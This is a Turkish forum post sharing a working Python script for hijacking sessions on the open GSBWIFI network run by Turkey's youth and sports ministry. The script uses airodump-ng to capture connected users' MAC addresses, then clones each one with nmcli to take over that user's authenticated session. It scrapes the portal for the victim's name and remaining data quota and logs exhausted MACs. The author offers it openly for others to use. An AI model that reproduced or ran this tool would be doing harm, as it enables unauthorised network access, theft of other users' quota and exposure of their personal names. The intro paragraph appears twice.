Gsbwifi leri bildiğiniz gibi, bilmiyorsanızda öğrenmiş olun şifresizdir. Http üzerinden login olursunuz ve bir süreliğine mac inize internet eriişimi verilir.
İlk başlarda captive portal açıp 2-3 kişi ile yetinirken bu mac olayını keşfetmemle, bir airodump taramasında 20 tane mac yakalayınca bu iyiymiş dedim.
Hemen ayak üstü leş gibi bir script yazdım. Buna rağmen yıllarca hiç dokunamdan taş gibi çalışıp başarıyla hizmet etti. Şimdide belki biri bu çöpü kullanır diye paylaşıyorum.
Fakat kullanabilmek için monitor mod destekleyen bir ağ kartına ve linux işteim sistemine ihtiyacınız var.
İlk başlarda captive portal açıp 2-3 kişi ile yetinirken bu mac olayını keşfetmemle, bir airodump taramasında 20 tane mac yakalayınca bu iyiymiş dedim.
Hemen ayak üstü leş gibi bir script yazdım. Buna rağmen yıllarca hiç dokunamdan taş gibi çalışıp başarıyla hizmet etti. Şimdide belki biri bu çöpü kullanır diye paylaşıyorum.
Fakat kullanabilmek için monitor mod destekleyen bir ağ kartına ve linux işteim sistemine ihtiyacınız var.
Python:
#!/bin/python3
from os import system
from time import sleep
import requests, random
import threading
WLAN = "wlp4s0"
import os
if not os.geteuid() == 0:
print("root izni gerekli [!]")
exit()
system(f"sudo nmcli connection add type wifi ifname {WLAN} con-name gsb ssid \"GSBWIFI\" -- wifi-sec.key-mgmt none connection.uuid cb1314dc-f6bc-4290-9298-5d591c482d25")
def getVeri():
while True:
try:
system('rm index.ht* -f;wget https://wifi.gsb.gov.tr -O index.html > /dev/null 2>&1')
f=open("index.html","r")
html=f.read()
f.close()
#try:
isim = html.split(' class="ui-separator ui-state-default ui-corner-all" style="width:800px" /><span class="myinfo">')[1]
isim= isim.split('</span><label class="myinfo">Last Login')[0]
if "Your quota is expired." in html:
return [isim, "Bitik kota [!]"]
tmp=html.split('class="ui-outputlabel ui-widget">')
tmp=html.split('Total Remaining Quota (MB):</label></td>')[1]
tmp=tmp.split("</label></td>")[0]
kota=tmp.split(">")[-1]
system("rm index.html -f")
break
except:
#return [0,0,0]
try:
sleep(30)
except:
return [0,0,0]
return [isim, kota,1]
def kontrol(liste, metin):
for i in liste:
if i in metin:
return True
return False
def bitik_kota_yaz(mac):
f = open("bitikler.txt","a")
f.write(mac + "\n")
f.close()
system(f"ifconfig {WLAN} down;airmon-ng start {WLAN};airodump-ng {WLAN}mon --manufacturer -w wifi")
system(f"airmon-ng stop {WLAN}mon")
system("clear")
sleep(1)
f=open("wifi-01.csv","r")
m=f.read()
f.close()
system("rm wifi*")
modemler=m.split("Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs")[0]
modemler=modemler.split("\n")
modemler=list(filter(lambda n: "GSBWIFI" in n and "OPN" in n, modemler))
modemler=list(map(lambda n: n[:17] , modemler))
m=m.split("Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs")[1]
m=m.split("\n")
macs=[]
f=open("bitikler.txt","a+")
f.seek(0)
bitikler = f.read()
f.close()
for i in m:
if kontrol(modemler, i):
i=i[:17]
if len(i) == 17:
macs.append(i)
f=open("all_macs.txt","a+")
f.seek(0)
all_macs=f.readlines()
all_macs = list(map(lambda n: n.strip() , all_macs))
random.shuffle(all_macs)
for mac in macs:
if not mac in all_macs:
print("yeni kullanıcı eklendi")
f.write(mac + "\n")
f.close()
#exit()
index=0;
for mac in all_macs:
index+=1;
if mac in bitikler:
print("Bitiklerden biri [-] ", mac)
continue
elif mac in macs:
print("Aktif kullanici [-] ", mac);
continue
system("nmcli connection modify gsb 802-11-wireless.cloned-mac-address " + mac +" >> /dev/null;nmcli c up gsb >> /dev/null")
sleep(2)
a=system("ping 10.106.4.20 -w 1 > tmp")
f=open("tmp","r");
a = f.read()
f.close()
# print(a)
if a.find("1 packets transmitted, 1 received, 0% packet loss") != -1:
print("-----------------")
print(" ", mac, " baglanti kuruldu : ", end="", flush=True)
veri = getVeri()
print(veri[0])
if veri[1] == "Bitik kota [!]":
bitik_kota_yaz(mac)
print("kota : " + veri[1])
print("-----------------")
print("Yeni baglanti olusturuluyor..")
print("-----------------")
elif veri[2] ==0:
print("yavas baglanti")
print("-----------------")
print("Yeni baglanti olusturuluyor..")
print("-----------------")
else:
print("kota : " + veri[1])
key=input("yeni baglanti icin [ent]")
print("-----------------")
if key.strip()!="":
exit()
else:
print(str(index) + ") baglanti kurulamadi [!] ", mac)